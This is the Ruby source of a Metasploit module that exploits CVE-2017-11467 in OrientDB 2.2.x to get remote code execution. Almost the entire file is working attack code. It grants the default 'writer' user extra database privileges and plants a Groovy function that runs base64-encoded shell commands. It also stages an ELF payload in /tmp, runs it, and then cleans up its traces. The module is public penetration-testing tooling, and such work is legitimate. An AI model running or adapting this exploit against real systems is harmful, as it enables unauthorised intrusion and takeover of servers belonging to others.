##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'OrientDB 2.2.x Remote Code Execution',
        'Description' => %q{
          This module leverages a privilege escalation on OrientDB to execute unsandboxed OS commands.
          All versions from 2.2.2 up to 2.2.22 should be vulnerable.
        },
        'Author' => [
          'Francis Alexander - Beyond Security\'s SecuriTeam Secure Disclosure program', # Public PoC
          'Ricardo Jorge Borges de Almeida ricardojba1[at]gmail.com', # Metasploit Module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2017-11467'],
          ['URL', 'https://blogs.securiteam.com/index.php/archives/3318'],
          ['URL', 'http://www.palada.net/index.php/2017/07/13/news-2112/'],
          ['URL', 'https://github.com/orientechnologies/orientdb/wiki/OrientDB-2.2-Release-Notes#2223---july-11-2017'],
          ['ATT&CK', Mitre::Attack::Technique::T1021_REMOTE_SERVICES]
        ],
        'Privileged' => false,
        'Targets' => [
          ['Linux', { 'Arch' => ARCH_X86, 'Platform' => 'linux' }],
          ['Unix CMD', { 'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => { 'BadChars' => "\x22" } }],
          ['Windows', { 'Arch' => ARCH_X86, 'Platform' => 'win', 'CmdStagerFlavor' => ['vbs', 'certutil'] }]
        ],
        'DisclosureDate' => '2017-07-13',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(2480),
        OptString.new('USERNAME', [ true, 'HTTP Basic Auth User', 'writer' ]),
        OptString.new('PASSWORD', [ true, 'HTTP Basic Auth Password', 'writer' ]),
        OptString.new('TARGETURI', [ true, 'The path to the OrientDB application', '/' ])
      ]
    )

    self.needs_cleanup = true
  end

  def check
    uri = target_uri
    uri.path = normalize_uri(uri.path)
    res = send_request_raw({ 'uri' => "#{uri.path}listDatabases" })
    return Exploit::CheckCode::Unknown('No response received from the target') unless res

    if res.code == 200 and res.headers['Server'] =~ /OrientDB Server v\.2\.2\./
      print_good("Version: #{res.headers['Server']}")
      return Exploit::CheckCode::Appears('OrientDB 2.2.x detected via Server header')
    else
      print_status("Version: #{res.headers['Server']}")
      return Exploit::CheckCode::Safe('The target is not running a vulnerable version')
    end
  end

  def http_send_command(cmd, opts = {})
    # 1 -Create the malicious function
    func_name = Rex::Text.rand_text_alpha(5).downcase
    request_parameters = {
      'method' => 'POST',
      'uri' => normalize_uri(@uri.path, "/document/#{opts}/-1:-1"),
      'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
      'headers' => { 'Accept' => '*/*', 'Content-Type' => 'application/json;charset=UTF-8' },
      'data' => "{\"@class\":\"ofunction\",\"@version\":0,\"@rid\":\"#-1:-1\",\"idempotent\":null,\"name\":\"#{func_name}\",\"language\":\"groovy\",\"code\":\"#{java_craft_runtime_exec(cmd)}\",\"parameters\":null}"
    }
    res = send_request_raw(request_parameters)
    if !(res and res.code == 201)
      begin
        json_body = JSON.parse(res.body)
      rescue JSON::ParserError
        fail_with(Failure::Unknown, 'Failed to create the malicious function.')
        return
      end
    end
    # 2 - Trigger the malicious function
    request_parameters = {
      'method' => 'POST',
      'uri' => normalize_uri(@uri.path, "/function/#{opts}/#{func_name}"),
      'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
      'headers' => { 'Accept' => '*/*', 'Content-Type' => 'application/json;charset=UTF-8' },
      'data' => ''
    }
    req = send_request_raw(request_parameters)
    if !(req and req.code == 200)
      begin
        json_body = JSON.parse(res.body)
      rescue JSON::ParserError
        fail_with(Failure::Unknown, 'Failed to trigger the malicious function.')
        return
      end
    end
    # 3 - Get the malicious function id
    if res && res.body.length > 0
      begin
        json_body = JSON.parse(res.body)['@rid']
      rescue JSON::ParserError
        fail_with(Failure::Unknown, 'Failed to obtain the malicious function id for deletion.')
        return
      end
    end
    func_id = json_body.slice(1..-1)
    # 4 - Delete the malicious function
    request_parameters = {
      'method' => 'DELETE',
      'uri' => normalize_uri(@uri.path, "/document/#{opts}/#{func_id}"),
      'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
      'headers' => { 'Accept' => '*/*' },
      'data' => ''
    }
    rer = send_request_raw(request_parameters)
    if !(rer and rer.code == 204)
      begin
        JSON.parse(res.body)
      rescue JSON::ParserError
        fail_with(Failure::Unknown, 'Failed to delete the malicious function.')
        return
      end
    end
  end

  def java_craft_runtime_exec(cmd)
    decoder = Rex::Text.rand_text_alpha(5, 8)
    decoded_bytes = Rex::Text.rand_text_alpha(5, 8)
    cmd_array = Rex::Text.rand_text_alpha(5, 8)
    jcode = "sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\n"
    jcode << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\"#{Rex::Text.encode_base64(cmd)}\");\n"
    jcode << "String [] #{cmd_array} = new String[3];\n"
    if target['Platform'] == 'win'
      jcode << "#{cmd_array}[0] = \"cmd.exe\";\n"
      jcode << "#{cmd_array}[1] = \"/c\";\n"
    else
      jcode << "#{cmd_array}[0] = \"/bin/sh\";\n"
      jcode << "#{cmd_array}[1] = \"-c\";\n"
    end
    jcode << "#{cmd_array}[2] = new String(#{decoded_bytes}, \"UTF-8\");\n"
    jcode << "Runtime.getRuntime().exec(#{cmd_array});\n"
    jcode
  end

  def on_new_session(_client)
    if !@to_delete.nil?
      print_warning("Deleting #{@to_delete} payload file")
      execute_command("rm #{@to_delete}")
    end
  end

  def execute_command(cmd, _opts = {})
    vprint_status("Attempting to execute: #{cmd}")
    @uri = target_uri
    @uri.path = normalize_uri(@uri.path)
    res = send_request_raw({ 'uri' => "#{@uri.path}listDatabases" })
    if res && res.code == 200 && res.body.length > 0
      begin
        json_body = JSON.parse(res.body)['databases']
      rescue JSON::ParserError
        print_error('Unable to parse JSON')
        return
      end
    else
      print_error('Timeout or unexpected response...')
      return
    end
    targetdb = json_body[0]
    http_send_command(cmd, targetdb)
  end

  def linux_stager
    cmds = 'echo LINE | tee FILE'
    exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
    base64 = Rex::Text.encode_base64(exe)
    base64.gsub!(/=/, '\\u003d')
    file = rand_text_alphanumeric(rand(4..7))
    execute_command("touch /tmp/#{file}.b64")
    cmds.gsub!(/FILE/, '/tmp/' + file + '.b64')
    base64.each_line do |line|
      line.chomp!
      cmd = cmds
      cmd.gsub!(/LINE/, line)
      execute_command(cmds)
    end
    execute_command("base64 -d /tmp/#{file}.b64|tee /tmp/#{file}")
    execute_command("chmod +x /tmp/#{file}")
    execute_command("rm /tmp/#{file}.b64")
    execute_command("/tmp/#{file}")
    @to_delete = "/tmp/#{file}"
  end

  def exploit
    @uri = target_uri
    @uri.path = normalize_uri(@uri.path)
    res = send_request_raw({ 'uri' => "#{@uri.path}listDatabases" })
    if res && res.code == 200 && res.body.length > 0
      begin
        json_body = JSON.parse(res.body)['databases']
      rescue JSON::ParserError
        print_error('Unable to parse JSON')
        return
      end
    else
      print_error('Timeout or unexpected response...')
      return
    end
    targetdb = json_body[0]
    privs_enable = ['create', 'read', 'update', 'execute', 'delete']
    items = ['database.class.ouser', 'database.function', 'database.systemclusters']
    # Set the required DB permissions
    privs_enable.each do |priv|
      items.each do |item|
        request_parameters = {
          'method' => 'POST',
          'uri' => normalize_uri(@uri.path, "/command/#{targetdb}/sql/-/20"),
          'vars_get' => { 'format' => 'rid,type,version,class,graph' },
          'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
          'headers' => { 'Accept' => '*/*' },
          'data' => "GRANT #{priv} ON #{item} TO writer"
        }
        res = send_request_raw(request_parameters)
      end
    end
    # Exploit
    case target['Platform']
    when 'win'
      print_status("#{Rex::Socket.to_authority(rhost, rport)} - Sending command stager...")
      execute_cmdstager(flavor: :vbs)
    when 'unix'
      print_status("#{Rex::Socket.to_authority(rhost, rport)} - Sending payload...")
      res = http_send_command("#{payload.encoded}", "#{targetdb}")
    when 'linux'
      print_status("#{Rex::Socket.to_authority(rhost, rport)} - Sending Linux stager...")
      linux_stager
    end
    handler
    # Final Cleanup
    privs_enable.each do |priv|
      items.each do |item|
        request_parameters = {
          'method' => 'POST',
          'uri' => normalize_uri(@uri.path, "/command/#{targetdb}/sql/-/20"),
          'vars_get' => { 'format' => 'rid,type,version,class,graph' },
          'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
          'headers' => { 'Accept' => '*/*' },
          'data' => "REVOKE #{priv} ON #{item} FROM writer"
        }
        res = send_request_raw(request_parameters)
      end
    end
  end
end
